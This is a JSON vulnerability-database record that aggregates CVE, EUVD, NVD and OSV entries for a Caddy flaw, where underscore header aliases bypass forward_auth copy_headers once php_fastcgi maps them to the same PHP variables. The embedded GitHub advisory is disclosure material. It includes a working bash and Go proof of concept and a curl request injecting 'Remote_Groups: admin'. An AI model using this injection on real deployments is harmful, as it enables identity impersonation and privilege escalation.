{"id":"CVE-2026-52845","revision":null,"records":[{"revision":"6b5fe27ff9784eb9bed52e2a1b1e0c7b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-52845","aliases":[],"title":"Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`","description":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.","state":0,"publishedAt":"2026-06-23T17:52:01.871+00:00","modifiedAt":"2026-07-15T00:46:09.498+00:00","affected":[{"ecosystem":"Vendor product","name":"caddy","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"caddyserver\",\n                    \"product\": \"caddy\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.11.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-52845","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-52845","identifiers":["CVE-2026-52845"]},"retained":false,"historicalAffected":[]},{"revision":"aecb032076a5450eb7196d5085436b48","observedAt":"2026-11-07T11:36:27.475+00:00","statement":{"source":"euvd","id":"EUVD-2026-38558","aliases":["CVE-2026-52845","GHSA-f59h-q822-g45g"],"title":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later…","description":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":null}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38558","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 23, 2026, 5:52:01 PM","dateUpdated":"Jul 15, 2026, 12:46:09 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38558","identifiers":["EUVD-2026-38558","CVE-2026-52845","GHSA-f59h-q822-g45g"]},"retained":false,"historicalAffected":[]},{"revision":"94deaed51bec4c72b2bc514ab3cea769","observedAt":"2026-10-27T14:13:17.111+00:00","statement":{"source":"nvd","id":"CVE-2026-52845","aliases":[],"title":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later…","description":"Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.","state":0,"publishedAt":"2026-06-23T18:18:05.267+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g","https://access.redhat.com/security/cve/CVE-2026-52845","https://bugzilla.redhat.com/show_bug.cgi?id=2491907","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52845","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-287","CWE-290","CWE-444"],"productCriteria":["cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-23T18:18:05.267","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-52845","identifiers":["CVE-2026-52845"]},"retained":false,"historicalAffected":[]},{"revision":"e072174a97fc4e3797f10627758ce098","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-f59h-q822-g45g","aliases":["CVE-2026-52845","GO-2026-5346"],"title":"Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`","description":"### Summary\n\n`forward_auth copy_headers` deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through `php_fastcgi`, Caddy normalizes HTTP headers into CGI variables by replacing `-` with `_`.\n\nThis lets a client send an underscore alias that survives the `forward_auth` delete step but becomes the same PHP/FastCGI variable:\n\n```text\nRemote-Groups  -> HTTP_REMOTE_GROUPS\nRemote_Groups  -> HTTP_REMOTE_GROUPS\n\nRemote-User    -> HTTP_REMOTE_USER\nRemote_User    -> HTTP_REMOTE_USER\n```\n\nResult: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.\n\n### Details\n\n`forward_auth copy_headers` intentionally removes client-controlled headers before setting values from the auth response:\n\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212`\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222`\n\nThat delete is exact-field deletion through `http.Header.Del()`:\n\n- `modules/caddyhttp/headers/headers.go:255`\n- `modules/caddyhttp/headers/headers.go:281`\n\nSo deleting `Remote-Groups` does not delete `Remote_Groups`.\n\nLater, FastCGI exports all request headers into CGI variables:\n\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510`\n\nThe normalizer replaces hyphens with underscores:\n\n```go\nstrings.NewReplacer(\" \", \"_\", \"-\", \"_\")\n```\n\nSo the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.\n\nThis is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.\n\n### PoC\n\nRun from the Caddy repository root with `bash`:\n\n```bash\nset -euo pipefail\n\ntmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)\nmkdir -p \"$tmpdir/www\"\nprintf '<?php echo \"ok\"; ?>\\n' > \"$tmpdir/www/index.php\"\n\ncat > \"$tmpdir/servers.go\" <<'GO'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/fcgi\"\n)\n\nfunc main() {\n\tgo func() {\n\t\tmux := http.NewServeMux()\n\t\tmux.HandleFunc(\"/auth\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Header().Set(\"Remote-User\", \"alice\")\n\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t})\n\t\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:19011\", mux))\n\t}()\n\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:19010\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintf(w, \"HTTP_REMOTE_USER=%s\\nHTTP_REMOTE_GROUPS=%s\\n\",\n\t\t\tr.Header.Get(\"Remote-User\"),\n\t\t\tr.Header.Get(\"Remote-Groups\"))\n\t})))\n}\nGO\n\ncat > \"$tmpdir/Caddyfile\" <<EOF\n{\n\tadmin off\n\tauto_https off\n\tdebug\n}\n\n:9082 {\n\tlog\n\troot * $tmpdir/www\n\tforward_auth 127.0.0.1:19011 {\n\t\turi /auth\n\t\tcopy_headers Remote-User Remote-Groups\n\t}\n\tphp_fastcgi 127.0.0.1:19010\n}\nEOF\n\ncleanup() {\n\tkill \"${caddy_pid:-}\" \"${servers_pid:-}\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\ngo run \"$tmpdir/servers.go\" >\"$tmpdir/servers.log\" 2>&1 &\nservers_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&\n\t   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ngo run ./cmd/caddy run --config \"$tmpdir/Caddyfile\" --adapter caddyfile >\"$tmpdir/caddy.log\" 2>&1 &\ncaddy_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ncurl --noproxy '*' -v http://127.0.0.1:9082/index.php\ncurl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php\ncat \"$tmpdir/caddy.log\"\n```\n\nObserved on commit `6c675e29f87cbe7326983ddb6d739175119d394c`:\n\nBaseline:\n\n```text\n> GET /index.php HTTP/1.1\n< HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=\n```\n\nWith attacker header:\n\n```text\n> GET /index.php HTTP/1.1\n> Remote_Groups: admin\n< HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=admin\n```\n\nCaddy debug log confirms the FastCGI environment contained:\n\n```text\n\"HTTP_REMOTE_USER\": \"alice\"\n\"HTTP_REMOTE_GROUPS\": \"admin\"\n```\n\nThe auth gateway returned `Remote-User: alice` only. It never returned `Remote-Groups`.\n\n### Impact\n\nThis affects Caddy deployments that use:\n\n- `forward_auth` with `copy_headers` for identity or authorization headers;\n- `php_fastcgi` / FastCGI after the auth check;\n- a PHP/FastCGI application that trusts the resulting `HTTP_*` variables.\n\nImpact examples:\n\n- deterministic group/role injection when the auth gateway omits an optional header, e.g. `Remote_Groups: admin` becomes `HTTP_REMOTE_GROUPS=admin`;\n- probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. `Remote-User` and `Remote_User` both map to `HTTP_REMOTE_USER`.\n\nRealistic examples include trusted-header SSO deployments such as Firefly III `remote_user_guard` using `HTTP_REMOTE_USER`, or MediaWiki `Auth_remoteuser` using `HTTP_X_AUTHENTIK_USERNAME`.\n\n## AI disclosure\n\nThe LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.","state":0,"publishedAt":"2026-06-16T21:28:28+00:00","modifiedAt":"2026-07-24T19:11:38.1748562+00:00","affected":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/caddyserver/caddy","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g","https://nvd.nist.gov/vuln/detail/CVE-2026-52845","https://access.redhat.com/security/cve/CVE-2026-52845","https://bugzilla.redhat.com/show_bug.cgi?id=2491907","https://github.com/caddyserver/caddy","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json"],"sourceUrl":"https://github.com/advisories/GHSA-f59h-q822-g45g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f59h-q822-g45g","identifiers":["GHSA-f59h-q822-g45g","CVE-2026-52845","GO-2026-5346"]},"retained":false,"historicalAffected":[]},{"revision":"75f5b9fe8ca240fdb310b98c66c011aa","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5346","aliases":["CVE-2026-52845","GHSA-f59h-q822-g45g"],"title":"Caddy: FastCGI header normalization bypass in forward_auth copy_headers in github.com/caddyserver/caddy","description":"Caddy: FastCGI header normalization bypass in forward_auth copy_headers in github.com/caddyserver/caddy","state":0,"publishedAt":"2026-07-24T18:35:55+00:00","modifiedAt":"2026-07-24T19:00:22.820653+00:00","affected":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g","https://github.com/caddyserver/caddy/pull/7633"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5346","license":"OSV · upstream source license applies","key":"osv:GO-2026-5346","identifiers":["GO-2026-5346","CVE-2026-52845","GHSA-f59h-q822-g45g"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5a2504558b549559b8658a653596391","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T20:19:26.3099435+00:00","lastSuccessAt":"2026-11-07T20:19:26.304+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:19:26.304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.0152025+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.0152028+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}